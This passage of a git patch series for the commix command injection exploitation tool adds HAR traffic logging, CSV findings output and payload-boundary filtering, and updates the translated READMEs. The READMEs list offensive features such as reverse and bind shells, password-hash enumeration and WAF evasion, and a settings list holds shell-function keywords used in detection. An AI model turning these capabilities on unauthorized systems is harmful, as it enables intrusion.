"reason", ""), response.info(), _raw_body, started, time.time()) stability.reset_connection_error_budget() return response @@ -530,6 +533,8 @@ def https_open(self, req): checks.blocked_ip(page) # A shell error is at least as likely to come back as a 500 as it is with a 200. checks.parse_errors(page) + # An error code is an answer like any other, and the one worth having in the file most. + har.collect(request, code, getattr(err, "reason", ""), err.info(), page, started, time.time()) if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ diff --git a/src/utils/har.py b/src/utils/har.py new file mode 100644 index 0000000000..52f7ca69d4 --- /dev/null +++ b/src/utils/har.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import json +import base64 +import datetime +import threading + +from src.utils import settings +from src.core.parse import cmdline as menu +from src.thirdparty.six.moves import urllib as _urllib + +""" +The run's HTTP traffic, kept in the form every proxy and browser already reads. + +Reference: http://www.softwareishard.com/blog/har-12-spec/ + +What '-t' writes is meant to be read by a person, one request after another; this is the same +traffic as data, so that a request the run made can be replayed, filtered or diffed in the tools +the work is already being done in rather than read out of a transcript. +""" + +ENTRIES = [] +LOCK = threading.Lock() + +""" +Whether this run is collecting. +""" +def active(): + return bool(menu.options.har) + +""" +A header list in the shape the format asks for. +""" +def _headers(items): + return [{"name": str(name), "value": str(value)} for name, value in items] + +""" +A body as text, or as base64 where it is not text at all. + +The format is JSON, so a body that does not decode has nowhere to go as text - an encoded copy +reproduces the request or the response, where a lossy decode of it would not. +""" +def _content(raw, mime): + content = {"mimeType": mime or "", "size": len(raw or b"")} + if not raw: + content["text"] = "" + return content + if not isinstance(raw, bytes): + content["text"] = raw + return content + try: + content["text"] = raw.decode(settings.DEFAULT_CODEC) + except (UnicodeDecodeError, LookupError): + content["encoding"] = "base64" + content["text"] = base64.b64encode(raw).decode("ascii") + return content + +""" +Record one request and the response it was answered with. + +The request is read off the object that was sent rather than off the wire, so the two headers the +client fills in for itself are put back here - they are the ones a replay needs and the only ones +that would otherwise be missing. +""" +def collect(request, code, status, response_headers, body, started, ended): + if not active(): + return + try: + url = request.get_full_url() + headers = list(request.header_items()) + if not any(name.lower() == "host" for name, _ in headers): + headers.append(("Host", _urllib.parse.urlsplit(url).netloc)) + data = request.data + if data is not None and not any(name.lower() == "content-length" for name, _ in headers): + headers.append(("Content-Length", str(len(data)))) + query = [{"name": name, "value": value} + for name, value in _urllib.parse.parse_qsl(_urllib.parse.urlsplit(url).query, keep_blank_values=True)] + entry = { + "startedDateTime": datetime.datetime.fromtimestamp(started).isoformat(), + "time": int(1000 * (ended - started)), + "request": { + "method": request.get_method(), + "url": url, + "httpVersion": "HTTP/1.0" if menu.options.http10 else "HTTP/1.1", + "headers": _headers(headers), + "queryString": query, + "cookies": [], + "headersSize": -1, + "bodySize": len(data) if data is not None else 0, + }, + "response": { + "status": int(code) if str(code).isdigit() else 0, + "statusText": str(status or ""), + "httpVersion": "HTTP/1.1", + "headers": _headers(response_headers.items() if response_headers else []), + "cookies": [], + "content": _content(body, response_headers.get("Content-Type") if response_headers else ""), + "redirectURL": "", + "headersSize": -1, + "bodySize": len(body or b""), + }, + "cache": {}, + "timings": {"send": -1, "wait": -1, "receive": -1}, + } + if data is not None: + entry["request"]["postData"] = _content(data, request.get_header("Content-type", "")) + except Exception: + # A request that cannot be described is not a reason to stop making them. + return + with LOCK: + ENTRIES.append(entry) + +""" +Write out what was collected. +""" +def write(): + if not active(): + return + log = {"log": { + "version": "1.2", + "creator": {"name": settings.APPLICATION, "version": settings.VERSION}, + "entries": ENTRIES, + }} + try: + with open(menu.options.har, "w", encoding=settings.DEFAULT_CODEC) as output_file: + json.dump(log, output_file, indent=2, ensure_ascii=False) + except (OSError, IOError) as err_msg: + error_msg = "Unable to write the HAR file to '" + menu.options.har + "' (" + str(err_msg) + ")." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + return + info_msg = "HTTP traffic of " + str(len(ENTRIES)) + " request" + "s"[len(ENTRIES) == 1:] + info_msg += " logged to the HAR file '" + menu.options.har + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +# eof diff --git a/src/utils/logs.py b/src/utils/logs.py index cc4258733c..12b06b337d 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -20,6 +20,7 @@ from datetime import date from datetime import datetime from src.core.parse import cmdline as menu +from src.utils import har from src.utils import common from src.utils import settings from src.core.requests import reproduce @@ -215,6 +216,7 @@ def add_finding(filename, injection_type, technique, http_request_method, vuln_p add_line(filename, settings.strip_ansi_codes(" " + settings.SUB_CONTENT_SIGN_TYPE + "Reproduce: " + command), group="findings") for caveat in caveats: add_line(filename, settings.strip_ansi_codes(" " + settings.SUB_CONTENT_SIGN_TYPE + "Note: " + caveat[0].upper() + caveat[1:] + "."), group="findings") + results_note(menu.options.url, http_request_method, vuln_parameter, technique, injection_type) if report_active(): finding = { "parameter": vuln_parameter, @@ -230,6 +232,74 @@ def add_finding(filename, injection_type, technique, http_request_method, vuln_p finding["reproduce_caveats"] = caveats settings.REPORT_JSON.setdefault("findings", []).append(finding) +""" +Settle which CSV the findings of a run over several targets are collected in. + +A run given a list is one whose answer is the list back with the vulnerable entries marked, so it +gets the file whether or not one was asked for - named after the time the run started, beside the +run's other output. A single target has its own log and does not need a sheet of one row, so there +the file is only what '--results-file' names. +""" +def results_file_in_use(): + if menu.options.results_file or not checks.several_targets(): + return + output_dir = menu.options.output_dir or settings.OUTPUT_DIR + menu.options.results_file = os.path.join(output_dir, datetime.now().strftime(settings.RESULTS_FILE_FORMAT).lower()) + +""" +Note a finding for the CSV '--results-file' keeps. + +One row per place and parameter rather than per finding, because what a run over many targets is +read for is which of them answered and where - the techniques that got there are a column of it. +""" +def results_note(url, place, parameter, technique, injection_type): + results_file_in_use() + if not menu.options.results_file: + return + row = settings.RESULTS_FILE_ROWS.setdefault((url, place, parameter), {"techniques": set(), "notes": set()}) + letter = session_handler.technique_letter(technique) + if letter: + row["techniques"].add(letter.upper()) + else: + # A module is not one of the techniques '--technique' chooses between, so it has no letter to + # put in that column - what found the point is said in words instead of left out. + row["notes"].add(checks.summary_technique_label(technique)) + row["notes"].add(injection_type[0].upper() + injection_type[1:]) + +""" +A field as a CSV file can hold it. +""" +def _csv_value(value): + value = str(value) + if any(char in value for char in (",", '"', "\n", "\r")): + value = '"' + value.replace('"', '""') + '"' + return value + +""" +Write out what this target was found vulnerable at, and start the next one with nothing. +""" +def write_results_rows(): + if not menu.options.results_file or not settings.RESULTS_FILE_ROWS: + return + rows = settings.RESULTS_FILE_ROWS + settings.RESULTS_FILE_ROWS = {} + try: + exists = os.path.isfile(menu.options.results_file) and os.path.getsize(menu.options.results_file) > 0 + with open(menu.options.results_file, "a", encoding=settings.DEFAULT_CODEC) as output_file: + if not exists: + output_file.write("Target URL,Place,Parameter,Technique(s),Note(s)" + settings.END_LINE.LF) + for (url, place, parameter), row in rows.items(): + output_file.write(",".join(_csv_value(field) for field in ( + url, place, parameter, "".join(sorted(row["techniques"])), "; ".join(sorted(row["notes"])) + )) + settings.END_LINE.LF) + except (OSError, IOError) as err_msg: + write_failure(menu.options.results_file, err_msg) + return + if not settings.RESULTS_FILE_STARTED: + settings.RESULTS_FILE_STARTED = True + info_msg = "Findings are being appended to the CSV results file '" + menu.options.results_file + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Add any executed command and execution output result in log files. @@ -301,6 +371,7 @@ def print_logs_notification(filename, url): checks.save_cmd_history() add_footer(filename) write_report() + har.write() if settings.SHOW_LOGS_MSG is True and not menu.options.no_logging: if not settings.LOAD_SESSION: logs_notification(filename) diff --git a/src/utils/settings.py b/src/utils/settings.py index a20c5c959c..eb444c2722 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "162" +REVISION = "163" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -2098,6 +2098,20 @@ class END_LINE: "syntax of the command", "cannot find the", "disabled for security reasons", "exec", "passthru", "proc_open", "popen", "system()", "eval()", "@INC") +""" +What the current target has been found vulnerable at, for the CSV '--results-file' keeps. + +Gathered per target and written when it is finished with, so that one row stands for a parameter +rather than for each technique that answered through it. +""" +RESULTS_FILE_ROWS = {} + +# What the file is called where a run over several targets was not given a name for it. +RESULTS_FILE_FORMAT = "results-%m%d%Y_%I%M%p.csv" + +# Written the first time a row is, and only then - an existing file is added to, not started again. +RESULTS_FILE_STARTED = False + # Said once each, so a page answering the same way to every payload is not reported once per request. PARSED_ERRORS = set() @@ -2396,6 +2410,7 @@ class END_LINE: "LAST_LOGGED_PARAMETER", "LAST_SELECTED_MODULE", "LIKELY_RESUME", "LOGGED_FINDINGS_HEADER", "MULTI_REQUEST_TARGETS", "MULTI_TARGETS", "OS_CHECKS_NUM", "PROGRESS_LINE_OPEN", "READLINE_ERROR", "SESSION_FILE", "SHOW_LOGS_MSG", "TAMPER_SCRIPTS", "SITEMAP_CHECK", "SKIPPED_OUT_OF_SCOPE", "SKIP_VULNERABLE_HOST", + "RESULTS_FILE_FORMAT", "RESULTS_FILE_STARTED", "STDIN_PARSING", "TAMPER_WARNING_SHOWN", "TIME_RELATED_ATTACK_WARNING", "TOTAL_OF_REQUESTS", "EVAL_SUGGESTED", "COMMAND_SUGGESTED", "VALIDATION_RUN", "VISIBLE_CONNECTION_ERRORS", "WARNED_HTTP_ERROR_CODES", # Set by the connection to whichever target is in hand, before this reset can be reached. From f78d4d067bcf3d72b046aba5dcba29e73d3490e9 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 25 Sep 2026 06:35:12 +0300 Subject: [PATCH 0828/1023] Readme(s) update --- README.md | 3 ++- doc/translations/README-es-ES.md | 3 ++- doc/translations/README-fa-FA.md | 3 ++- doc/translations/README-fr-FR.md | 3 ++- doc/translations/README-gr-GR.md | 20 +++++++++++--------- doc/translations/README-idn-IDN.md | 3 ++- doc/translations/README-tr-TR.md | 3 ++- 7 files changed, 23 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index f015461dc7..71de8a4698 100644 --- a/README.md +++ b/README.md @@ -37,10 +37,11 @@ You can visit the [collection of screenshots](https://github.com/commixproject/c * **Code injection** - `--eval` tests the string a target evaluates as code, in PHP or Python, over the same four techniques. * **Broad injection surface** - GET/POST parameters, HTTP headers, cookies, and JSON/XML request bodies, plus the `shellshock` module for CGI targets. * **Interactive shells** - an `os_shell` on the target, built-in `reverse_tcp` and `bind_tcp` modes, and file `download`/`upload` over the established shell. +* **Proof of exploitation** - `--proof` re-proves every finding with an experiment of its own and writes the transcript beside the run's output, and `--parse-errors` reports the shell's own error messages where a payload reached a shell but was not understood. * **Enumeration and file access** - current user, hostname, privileges, system information, users and password hashes; read from and write to files on the target host. * **Filter and WAF evasion** - Multiple combinable tamper scripts, applied in a deterministic order. * **Flexible targeting** - a single URL, a crawl, HTML forms, a sitemap, a proxy log, a bulk file, a raw HTTP request file, or piped `stdin`. -* **Resumable scans** - results are stored per target in a session file, and can be exported to JSON. +* **Resumable scans and machine-readable output** - results are stored per target in a session file, and can be exported as JSON, as a CSV covering every target tested, or as a HAR log of the run's HTTP traffic. The options a run was given can be saved as a profile and reused. * **Wide back-end support** - PHP, Python, Perl, Ruby, ASP.NET, JSP and CGI, and works against both Unix-like and Windows targets - see [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) for how the payloads differ. diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md index a01f64942f..1ba0534175 100644 --- a/doc/translations/README-es-ES.md +++ b/doc/translations/README-es-ES.md @@ -38,10 +38,11 @@ Puede visitar la **[colección de capturas de pantalla](https://github.com/commi * **Inyección de código** - `--eval` prueba la cadena que el objetivo evalúa como código, en PHP o Python, con las mismas cuatro técnicas. * **Amplia superficie de inyección** - parámetros GET/POST, cabeceras HTTP, cookies y cuerpos de petición JSON/XML, además del módulo `shellshock` para objetivos CGI. * **Shells interactivas** - una `os_shell` en el objetivo, los modos integrados `reverse_tcp` y `bind_tcp`, y transferencia de archivos (`download`/`upload`) a través de la shell establecida. +* **Prueba de explotación** - `--proof` vuelve a demostrar cada hallazgo con un experimento propio y escribe la transcripción junto a la salida del análisis, y `--parse-errors` informa de los mensajes de error del propio shell cuando una carga útil llegó a un shell pero no fue comprendida. * **Enumeración y acceso a archivos** - usuario actual, nombre del host, privilegios, información del sistema, usuarios y hashes de contraseñas; lectura y escritura de archivos en el objetivo. * **Evasión de filtros y WAF** - Múltiples scripts de manipulación (tamper) combinables, aplicados en un orden determinista. * **Objetivos flexibles** - una única URL, un rastreo del sitio, formularios HTML, un sitemap, un registro de proxy, un archivo con varios objetivos, un archivo con una petición HTTP en bruto o entrada por `stdin`. -* **Análisis reanudables** - los resultados se almacenan por objetivo en un archivo de sesión y pueden exportarse a JSON. +* **Análisis reanudables y salida legible por máquina** - los resultados se almacenan por objetivo en un archivo de sesión y pueden exportarse como JSON, como un CSV que abarca todos los objetivos analizados, o como un registro HAR del tráfico HTTP del análisis. Las opciones con las que se ejecutó un análisis pueden guardarse como perfil y reutilizarse. * **Amplio soporte de back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI. ## Instalación diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md index 542c09b51e..713fada3b1 100644 --- a/doc/translations/README-fa-FA.md +++ b/doc/translations/README-fa-FA.md @@ -38,10 +38,11 @@ * **تزریق کد** - سوئیچ `--eval` رشته‌ای را که هدف به عنوان کد ارزیابی می‌کند، در PHP یا Python و با همان چهار تکنیک آزمایش می‌کند. * **سطح تزریق گسترده** - پارامترهای GET/POST، سرآیندهای HTTP، کوکی‌ها و بدنه درخواست‌های JSON/XML، به‌علاوه ماژول `shellshock` برای هدف‌های CGI. * **پوسته‌های تعاملی** - یک `os_shell` روی هدف، حالت‌های داخلی `reverse_tcp` و `bind_tcp`، و انتقال فایل (`download`/`upload`) از طریق پوسته برقرارشده. +* **اثبات بهره‌برداری** - `--proof` هر یافته را با آزمایشی از آنِ خود دوباره اثبات می‌کند و رونوشت آن را کنار خروجی اجرا می‌نویسد، و `--parse-errors` پیام‌های خطای خودِ پوسته را گزارش می‌دهد، جایی که یک بار مخرب به پوسته رسیده اما فهمیده نشده است. * **شمارش و دسترسی به فایل** - کاربر جاری، نام میزبان، سطوح دسترسی، اطلاعات سیستم، کاربران و درهم‌سازی گذرواژه‌ها؛ خواندن و نوشتن فایل روی هدف. * **دور زدن فیلترها و WAF** - چندین اسکریپت tamper قابل ترکیب، که با ترتیبی قطعی اعمال می‌شوند. * **هدف‌گذاری انعطاف‌پذیر** - یک URL، پویش سایت، فرم‌های HTML، sitemap، گزارش پروکسی، فایل چندهدفی، فایل درخواست خام HTTP یا ورودی `stdin`. -* **پویش‌های قابل ازسرگیری** - نتایج به تفکیک هدف در یک فایل نشست ذخیره می‌شوند و می‌توان آن‌ها را به JSON خروجی گرفت. +* **پویش‌های قابل ازسرگیری و خروجی ماشین‌خوان** - نتایج به تفکیک هدف در یک فایل نشست ذخیره می‌شوند و می‌توان آن‌ها را به‌صورت JSON، به‌صورت یک CSV دربرگیرندهٔ همهٔ هدف‌های آزموده‌شده، یا به‌صورت یک گزارش HAR از ترافیک HTTP اجرا خروجی گرفت. گزینه‌هایی که یک اجرا با آن‌ها انجام شده است را می‌توان به‌عنوان نمایه ذخیره و دوباره استفاده کرد. * **پشتیبانی گسترده از بک‌اند** - PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI. ## نصب و راه‌اندازی diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md index c8808a21bf..16ec6cbdbd 100644 --- a/doc/translations/README-fr-FR.md +++ b/doc/translations/README-fr-FR.md @@ -38,10 +38,11 @@ Vous pouvez consulter la [**collection de captures d'écran**](https://github.co * **Injection de code** - `--eval` teste la chaîne que la cible évalue comme du code, en PHP ou Python, avec les quatre mêmes techniques. * **Large surface d'injection** - paramètres GET/POST, en-têtes HTTP, cookies et corps de requête JSON/XML, ainsi que le module `shellshock` pour les cibles CGI. * **Shells interactifs** - un `os_shell` sur la cible, les modes intégrés `reverse_tcp` et `bind_tcp`, et le transfert de fichiers (`download`/`upload`) via le shell établi. +* **Preuve d'exploitation** - `--proof` prouve à nouveau chaque découverte au moyen d'une expérience qui lui est propre et écrit la transcription à côté de la sortie de l'analyse, et `--parse-errors` rapporte les messages d'erreur du shell lui-même lorsqu'une charge utile a atteint un shell sans y être comprise. * **Énumération et accès aux fichiers** - utilisateur courant, nom d'hôte, privilèges, informations système, utilisateurs et empreintes de mots de passe ; lecture et écriture de fichiers sur la cible. * **Contournement des filtres et des WAF** - Plusieurs scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe. * **Ciblage flexible** - une URL unique, une exploration du site, des formulaires HTML, un sitemap, un journal de proxy, un fichier de cibles multiples, un fichier de requête HTTP brute ou une entrée `stdin`. -* **Analyses reprenables** - les résultats sont stockés par cible dans un fichier de session et peuvent être exportés en JSON. +* **Analyses reprenables et sortie exploitable par machine** - les résultats sont stockés par cible dans un fichier de session et peuvent être exportés en JSON, sous forme de CSV couvrant toutes les cibles testées, ou sous forme de journal HAR du trafic HTTP de l'analyse. Les options fournies à une analyse peuvent être enregistrées comme profil et réutilisées. * **Large prise en charge des back-ends** - PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI. ## Installation diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md index 90b8dfd854..04de762d6f 100644 --- a/doc/translations/README-gr-GR.md +++ b/doc/translations/README-gr-GR.md @@ -34,15 +34,17 @@ To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**] ## Χαρακτηριστικά -* **Τέσσερις τεχνικές εισαγωγής** - classic (βάσει αποτελεσμάτων), time-based (τυφλή), file-based (τυφλή, με παραλλαγή tempfile-based για στόχους με περιορισμένη εγγραφή) και out-of-band (OAST) μέσω HTTP/S και DNS. -* **Εισαγωγή κώδικα** - ο διακόπτης `--eval` ελέγχει τη συμβολοσειρά που ο στόχος αποτιμά ως κώδικα, σε PHP ή Python, με τις ίδιες τέσσερις τεχνικές. -* **Ευρεία επιφάνεια εισαγωγής** - παράμετροι GET/POST, κεφαλίδες HTTP, cookies και σώματα αιτημάτων JSON/XML, καθώς και η μονάδα `shellshock` για στόχους CGI. -* **Διαδραστικά κελύφη** - `os_shell` στον στόχο, ενσωματωμένες λειτουργίες `reverse_tcp` και `bind_tcp`, και μεταφορά αρχείων (`download`/`upload`) μέσα από το κέλυφος. -* **Απαρίθμηση και πρόσβαση σε αρχεία** - τρέχων χρήστης, όνομα υπολογιστή, δικαιώματα, πληροφορίες συστήματος, χρήστες και κατακερματισμοί κωδικών· ανάγνωση και εγγραφή αρχείων στον στόχο. -* **Παράκαμψη φίλτρων και WAF** - Πολλαπλά συνδυάσιμα scripts παραποίησης (tamper), με ντετερμινιστική σειρά εφαρμογής. -* **Ευέλικτη στόχευση** - μεμονωμένο URL, ανίχνευση ιστότοπου (crawl), φόρμες HTML, sitemap, αρχείο καταγραφής proxy, αρχείο πολλαπλών στόχων, αρχείο ακατέργαστου αιτήματος HTTP ή είσοδος από `stdin`. -* **Σαρώσεις με δυνατότητα συνέχισης** - τα αποτελέσματα αποθηκεύονται ανά στόχο σε αρχείο συνεδρίας και μπορούν να εξαχθούν σε JSON. -* **Ευρεία υποστήριξη back-end** - PHP, Python, Perl, Ruby, ASP.NET, JSP και CGI. +* **Τέσσερις τεχνικές injection** – results-based (classic), time-based (blind), file-based (blind, με παραλλαγή βασισμένη σε προσωρινό αρχείο για targets με περιορισμούς εγγραφής) και out-of-band (OAST) μέσω HTTP/S και DNS. Επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type`. +* **Code injection** – το `--eval` ελέγχει strings που εκτελούνται ως κώδικας από το target, σε PHP ή Python, χρησιμοποιώντας τις ίδιες τέσσερις τεχνικές. +* **Ευρεία κάλυψη injection επιφανειών** – GET/POST parameters, HTTP headers, cookies και JSON/XML request bodies, καθώς και το `shellshock` module για CGI targets. +* **Interactive shells** – `os_shell` στο target, ενσωματωμένα modes `reverse_tcp` και `bind_tcp`, καθώς και `download`/`upload` αρχείων μέσω του established shell. +* **Απόδειξη εκμετάλλευσης** – το `--proof` επαληθεύει εκ νέου κάθε εύρημα με δικό του πείραμα και αποθηκεύει το transcript δίπλα στο output του run. Το `--parse-errors` εμφανίζει τα error messages του shell όταν ένα payload έφτασε στο shell αλλά δεν έγινε κατανοητό. +* **Enumeration και πρόσβαση σε αρχεία** – current user, hostname, privileges, system information, users και password hashes, καθώς και ανάγνωση και εγγραφή αρχείων στο target host. +* **Filter και WAF evasion** – πολλαπλά συνδυάσιμα tamper scripts, τα οποία εφαρμόζονται με deterministic σειρά. +* **Ευέλικτο targeting** – υποστήριξη για single URL, crawl, HTML forms, sitemap, proxy log, bulk file, raw HTTP request file ή δεδομένα μέσω piped `stdin`. +* **Resumable scans και machine-readable output** – τα αποτελέσματα αποθηκεύονται ανά target σε session file και μπορούν να εξαχθούν σε JSON, CSV που περιλαμβάνει όλα τα tested targets ή HAR log με το HTTP traffic του run. Οι επιλογές ενός run μπορούν επίσης να αποθηκευτούν ως profile και να επαναχρησιμοποιηθούν. +* **Ευρεία υποστήριξη back-ends** – PHP, Python, Perl, Ruby, ASP.NET, JSP και CGI, με υποστήριξη τόσο για Unix-like όσο και για Windows targets. Δείτε το [Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance) για τις διαφορές στα payloads. + ## Εγκατάσταση diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 84bb8be979..5c9e02e178 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -38,10 +38,11 @@ Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixp * **Injeksi kode** - `--eval` menguji string yang dievaluasi target sebagai kode, dalam PHP atau Python, dengan empat teknik yang sama. * **Permukaan injeksi yang luas** - parameter GET/POST, header HTTP, cookie, dan body permintaan JSON/XML, serta modul `shellshock` untuk target CGI. * **Shell interaktif** - `os_shell` pada target, mode bawaan `reverse_tcp` dan `bind_tcp`, serta transfer berkas (`download`/`upload`) melalui shell yang telah terbentuk. +* **Bukti eksploitasi** - `--proof` membuktikan kembali setiap temuan dengan percobaannya sendiri dan menulis transkripnya di samping keluaran pemindaian, dan `--parse-errors` melaporkan pesan galat dari shell itu sendiri ketika sebuah payload mencapai shell tetapi tidak dipahami. * **Enumerasi dan akses berkas** - pengguna saat ini, nama host, hak akses, informasi sistem, daftar pengguna dan hash kata sandi; membaca dan menulis berkas pada target. * **Pengelakan filter dan WAF** - Beberapa skrip tamper yang dapat dikombinasikan, diterapkan dalam urutan yang deterministik. * **Penentuan target yang fleksibel** - satu URL, penelusuran situs, formulir HTML, sitemap, log proxy, berkas berisi banyak target, berkas permintaan HTTP mentah, atau masukan `stdin`. -* **Pemindaian yang dapat dilanjutkan** - hasil disimpan per target dalam berkas sesi dan dapat diekspor ke JSON. +* **Pemindaian yang dapat dilanjutkan dan keluaran terbaca mesin** - hasil disimpan per target dalam berkas sesi dan dapat diekspor sebagai JSON, sebagai CSV yang mencakup setiap target yang diuji, atau sebagai catatan HAR dari lalu lintas HTTP pemindaian. Opsi yang digunakan sebuah pemindaian dapat disimpan sebagai profil dan digunakan kembali. * **Dukungan back-end yang luas** - PHP, Python, Perl, Ruby, ASP.NET, JSP dan CGI. ## Instalasi diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index c974968423..523cdbe5ea 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -38,10 +38,11 @@ Wiki'deki bazı özellikleri gösteren [ekran görüntüleri koleksiyonunu](http * **Kod enjeksiyonu** - `--eval`, hedefin kod olarak değerlendirdiği dizgeyi PHP veya Python olarak, aynı dört teknikle sınar. * **Geniş enjeksiyon yüzeyi** - GET/POST parametreleri, HTTP başlıkları, çerezler ve JSON/XML istek gövdeleri; ayrıca CGI hedefleri için `shellshock` modülü. * **Etkileşimli kabuklar** - hedef üzerinde `os_shell`, yerleşik `reverse_tcp` ve `bind_tcp` modları ve kurulan kabuk üzerinden dosya aktarımı (`download`/`upload`). +* **Sömürü kanıtı** - `--proof` her bulguyu kendi deneyiyle yeniden kanıtlar ve dökümü taramanın diğer çıktılarının yanına yazar, `--parse-errors` ise bir yükün bir kabuğa ulaştığı ancak anlaşılmadığı durumlarda kabuğun kendi hata mesajlarını bildirir. * **Numaralandırma ve dosya erişimi** - geçerli kullanıcı, makine adı, yetkiler, sistem bilgileri, kullanıcılar ve parola özetleri; hedefte dosya okuma ve yazma. * **Filtre ve WAF atlatma** - birlikte kullanılabilen çok sayıda tamper betiği, belirlenimci bir sırayla uygulanır. * **Esnek hedefleme** - tek bir URL, site taraması, HTML formları, sitemap, proxy günlüğü, çoklu hedef dosyası, ham HTTP istek dosyası veya `stdin` girdisi. -* **Kaldığı yerden devam eden taramalar** - sonuçlar hedef bazında bir oturum dosyasında saklanır ve JSON olarak dışa aktarılabilir. +* **Kaldığı yerden devam eden taramalar ve makine tarafından okunabilir çıktı** - sonuçlar hedef bazında bir oturum dosyasında saklanır ve JSON olarak, test edilen her hedefi kapsayan bir CSV olarak veya taramanın HTTP trafiğinin HAR kaydı olarak dışa aktarılabilir. Bir taramanın çalıştırıldığı seçenekler profil olarak kaydedilip yeniden kullanılabilir. * **Geniş arka uç desteği** - PHP, Python, Perl, Ruby, ASP.NET, JSP ve CGI. ## Kurulum From cede464a136055681563e4773dbce96b5a7cfe20 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 25 Sep 2026 06:55:05 +0300 Subject: [PATCH 0829/1023] Added new options `--test-filter` and `--test-skip` for choosing which payload boundaries a technique is tried with --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 58 +++++++++++++++++++++++++++++++ src/core/controller/controller.py | 15 ++++++++ src/core/controller/handler.py | 4 +++ src/core/main.py | 1 + src/core/parse/cmdline.py | 12 +++++++ src/utils/settings.py | 14 ++++++-- 7 files changed, 103 insertions(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 7260537d50..586d042861 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New options `--test-filter` and `--test-skip` for choosing which payload boundaries a technique is tried with. * Added: New options `--save` and `-c` for keeping the options a run was given in a configuration file, and running from one. * Added: New option `--har` for logging the run's HTTP traffic in the archive format proxies and browsers read. * Added: New option `--results-file` for collecting the findings of every target tested into a CSV file. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index b96b94ed49..e495a0c298 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -2332,6 +2332,64 @@ def validate_modules(): settings.USER_APPLIED_MODULE = menu.options.module return provided_modules +""" +Compile what '--test-filter'/'--test-skip' were given, once, before any of it is tested against. + +Taken as a pattern where it reads as one, and as the plain text it is where it does not - a filter +of "';" is what somebody wanting that boundary would write, and it is not a regular expression that +compiles. A lone '*' or '+' is read the way it is written in a shell rather than as the repetition +of nothing, which is what it would otherwise be. +""" +def validate_test_selection(): + for option, name in ((menu.options.test_filter, "TEST_FILTER"), (menu.options.test_skip, "TEST_SKIP")): + if not option: + continue + compiled = [] + # Several of them are given the way every other list this tool takes is given, by comma - no + # boundary has one in it, so nothing is lost by reading it that way. + for part in (item for item in re.split(settings.PARAMETER_SPLITTING_REGEX, option) if item): + # Which techniques run is already '--technique' and '--skip-technique', and a name given here + # would either repeat them or quietly contradict them - said rather than taken either way. + if re.search(r"[A-Za-z]{2,}", part) and any(part.strip().lower() in known for known in settings.TECHNIQUE_ORDER): + err_msg = "The option '" + ("--test-filter" if name == "TEST_FILTER" else "--test-skip") + "' selects payload " + err_msg += "boundaries, and '" + part.strip() + "' names an injection technique. Use '" + err_msg += ("--technique" if name == "TEST_FILTER" else "--skip-technique") + "' for that." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + pattern = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", part.strip("*+")) + try: + candidate = re.compile(pattern, re.IGNORECASE) + # A boundary is made of the characters a pattern is written in - '|' and '||' are separators + # here before they are alternations, and read as the latter they match every boundary there + # is rather than the one asked for. Anything that matches nothing at all is meant literally. + if candidate.search(""): + raise re.error("matches everything") + except re.error: + candidate = re.compile(re.escape(part), re.IGNORECASE) + compiled.append(candidate) + setattr(settings, name, compiled or None) + +""" +Whether a boundary is one of those this run was told to try. + +Only the boundary itself: which techniques run is what '--technique' and '--skip-technique' decide, +and these say what each of the running ones puts on the wire. +""" +def test_selected(whitespace, prefix, suffix, separator): + if settings.TEST_FILTER is None and settings.TEST_SKIP is None: + return True + boundary = prefix + separator + suffix + # Both the way a boundary is held and the way it can be typed: the separators include a newline + # and a 